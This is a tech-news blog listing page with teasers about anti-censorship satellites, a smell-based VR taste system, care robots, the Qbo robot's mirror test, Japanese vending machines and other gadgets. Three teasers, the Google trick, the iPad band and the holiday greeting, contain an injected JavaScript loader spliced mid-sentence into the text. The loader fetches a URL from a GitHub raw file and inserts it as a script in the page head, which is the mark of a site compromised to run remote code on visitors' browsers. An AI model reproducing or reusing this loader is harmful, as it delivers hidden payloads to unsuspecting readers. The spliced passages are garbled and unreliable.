Worried about Internet censorship by SOPA and PIPA ? Wait !! This News is for you , Hackers plan to take the internet beyond the reach of censors by putting their own communication satellites into orbit. Good guy hackers plan to launch satellites to fight the Stop Online Piracy Act and create a censorship-free Internet. According to BBC News Technology Reporter David Meyer, the plan, which was detailed this week during the Chaos Communication Congress (CCC) in Berlin, is in response Read more [...]

What you see and smell is what you taste... Photo: University of Tokyo Sights, sounds, and more recently, touch are commonly employed to create and enhance virtual-reality (VR) experiences. But the sense of smell is rarely a factor. A small group of researchers at the University of Tokyo is working to change that by integrating the sense of smell and sight in a way that alters a person’s perception of taste. Their VR system was able to trick people who were eating a plain cookie Read more [...]

Must See Video: RIBA II is a two-armed care support robot that can lift people from a prone position on the floor to a wheelchair, which is one of the most physically demanding tasks in nursing homes. RIBA II has been co-developed by Tokai Rubber Industries and RIKEN. "Basically, this robot can move people from a bed to a wheelchair or a wheelchair to a bed, and it can also move people, such as Alzheimer's patients, who are lying on the floor to a wheelchair." "As this robot comes into direct Read more [...]

Yes Qbo, you're looking in a mirror and this is you. Congratulations, you're now officially self aware! Okay, all us humans are gonna run for the hills now, see ya! Obviously, Qbo is too cute to be Skynet. Unless that's what it wants us to think. But let's just forget about all that right now and watch Qbo learn what he looks like: Nice! The mirror test is commonly used to identify whether animals are self-aware, and all it takes to pass is the ability to recognize that when you look at yourself Read more [...]

Pretty much everyone outside of Japan knows that Japan is a little weird, for better or worse. They’re pretty weird — or innovative, depending on how weirded out you are — when it comes to vending machines, offering a wide range of product through the automated box. Some vending machines over there work via an LCD screen rather than transparent glass, some serve up nothing but bananas, while others make hot ramen noodles and dump them in a bowl full of broth. Now, beverage company Asahi Soft Read more [...]

A new kind of car seat developed by the Advanced Institute of Industrial Technology inTokyo is able to identify the person who is sitting on it. The seat works by using a system of 360 pressure sensors, which through their combined effort can apparently remember what it feels like to be sat on by you as opposed to anyone a little bit thinner or fatter. It seems like it would be a pretty inaccurate affair, but tests have shown that it has a 98% percent recognition rate, which is pretty good considering Read more [...]

Try this equation (enter this in the search bar and click search): sqrt(cos(x))*cos(200 x)+sqrt(abs(x))-0.7)*(4-x*x)^0.01, sqrt(9-x^2), -sqrt(9-x^2) from -4.5 to 4.5 Update: This trick is no longer working: Go to Google main page and type: let it snow and press enter or click on search! Thanks to ibda3world.comvar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

Watch a full music band using the iPad as there only instrument! Although this is not new, it's still awesome! Can you imagine being one of these guys or how much time they have been training for?! Here's the video: var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

Year's end is neither an end nor a beginning but a going on, with all the wisdom that experience can instill in us. Hal Borland. Best Wishes, Happy Holidays, And Happy New Year! 🙂 www.coolestech.comvar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

Although this isn't new, it is still very cool! Saitama University's Human-Robot Interaction Center is doing R&D on care support robots. This wheelchair, developed by the Center, is a standard wheelchair with a camera and laser sensor attached. It has been designed to automatically track and follow the person next to it. "The wheelchair uses this distance sensor to check the position of the person. With position checking alone, the wheelchair can follow behind someone. But when the wheelchair Read more [...]

     Photo: Laster Technologies These glasses let users dispense with a computer monitor altogether. A decade ago, tech sages predicted that many portable consumer devices would soon be integrated into the mobile phone. For once, the pundits were right: Today, of course, elements of the old PDA, MP3 player, digital camera, portable e-mail, Web browser, and camcorder now live on our smartphones. Next in line, says a French company, are eyeglasses. When they get smart, we’ll be able Read more [...]

"Where were these back in the day when I wanted to stay up late reading under the covers?" Bookofjoe.com From websites: .......................... Light up a child's room with these nightlight globes or remove one to use as a light source. These portable nightlight globes stay lit for 30 minutes before fading to darkness to ease anyone into falling asleep. Multi-color nightlight lets you select your favorite color with a sliding lever or cycle through them all Portable Glo balls don't Read more [...]